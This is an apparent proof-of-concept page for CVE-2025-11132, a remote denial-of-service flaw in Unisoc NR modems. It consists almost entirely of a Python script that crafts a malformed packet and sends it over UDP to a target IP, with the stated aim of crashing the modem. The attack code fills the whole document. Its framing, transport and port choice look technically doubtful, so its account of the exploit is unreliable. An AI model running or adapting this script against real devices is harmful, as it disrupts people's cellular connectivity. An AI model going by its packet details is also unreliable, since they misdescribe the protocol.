CVE-2025-11132 | Unisoc NR Modem 输入验证错误导致远程拒绝服务

# CVE-2025-11132 PoC - Unisoc NR Modem DoS # This PoC demonstrates sending malformed NR signaling messages # to trigger input validation vulnerability in Unisoc NR modem import socket import struct import sys def create_malformed_nr_packet(): """ Create a malformed NR NAS (Non-Access Stratum) message that may trigger input validation error in NR modem """ # NR message header msg_type = 0x00 # Malformed message type # Construct malformed packet with invalid length field packet = bytearray() packet.append(0x7E) # Start flag packet.append(msg_type) # Malformed length field - causes buffer processing issue invalid_length = struct.pack('>H', 0xFFFF) packet.extend(invalid_length) # Invalid payload that triggers validation failure packet.extend(b'\x00' * 100) # End flag packet.append(0x7E) return bytes(packet) def send_dos_packet(target_ip, port=38412): """ Send malformed NR packet to target device Note: Requires network access to target's modem interface """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_nr_packet() print(f"[*] Sending malformed NR packet to {target_ip}:{port}") sock.sendto(packet, (target_ip, port)) sock.close() print("[+] Packet sent successfully") print("[+] If vulnerable, target modem should crash") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_11132_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_dos_packet(target)